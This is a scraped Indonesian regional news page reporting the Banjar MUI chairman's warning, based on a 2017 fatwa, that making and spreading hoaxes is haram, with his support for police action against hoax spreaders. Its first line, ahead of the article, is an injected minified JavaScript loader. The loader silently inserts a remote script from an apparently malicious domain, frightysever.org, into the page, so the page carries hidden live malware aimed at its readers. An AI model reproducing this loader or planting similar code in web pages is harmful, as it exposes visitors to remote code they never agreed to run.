(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ragam

Guru Fadlan : Haram Membikin dan Sebarkan Berita Hoax!


MARTAPURA, Ketua Majelis Ulama Indonesia (MUI) Banjar KH Fadlan As’ary kembali mengingatkan hukum menjadi agen penyebar berita bohong (hoax). Pesan itu disampaikan menyusul pengungkapan kelompok penyebar informasi palsu di Jakarta, beberapa waktu lalu.
“MUI menetapkan melalui Fatwa Nomor 24 Tahun 2017 tentang hukum dan pedoman bermuamalah melalui media sosial bahwa muslim dilarang menyebarkan fitnah dan adu domba,” ujarnya.

Guru Fadlan -sapaan beliau-, bahwa masyarakat harus menjaga diri masing-masing, agar jangan sampai mengatakan kata-kata yang jahat, atau yang ditulis entah itu lewat media sosial ataupun di media yang bisa mengakibatkan perpecahan.

“Kita harus menjaga diri masing-masing agar menghindari berkata jahat atau menulis kata-kata jahat di media sosial atau media masa, agar tidak terjadi gejolak perpecahan. Kita harus menjaga kesatuan untuk NKRI,” tegas salah satu guru pengajar di Ponpes Darussalam Martapura ini.

Perbuatan tersebut sangat bertentangan dengan hukum positif, juga haram hukumnya dalam ajaran Islam, karena dapat menimbulkan perpecahan dan permusuhan.

“Dalam Islam jelas diharamkan perbuatan tersebut, kalau sudah haram pasti jadi dosa, dan dosa akan dipertanggung jawabkan,” tambahnya.

Oleh karena itu, MUI Kabupaten Banjar mendukung sepenuhnya aparat kepolisian untuk menindak pelaku penyebar berita hoax dan memutus mata rantai upaya penyebaran berita bohong di Tanah Air.

“MUI mendukung langkah kepolisian dalam menegakkan hukum kepada pelaku kejahatan di dunia maya. Siapa pun dia, harus ditindak tegas. Kami minta agar Polri fokus terhadap isunya, bukan identitasnya, karena hal itu berpotensi memunculkan kecemburuan kepada kelompok lain,” pungkasnya.(hendera)

Reporter: Hendera
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.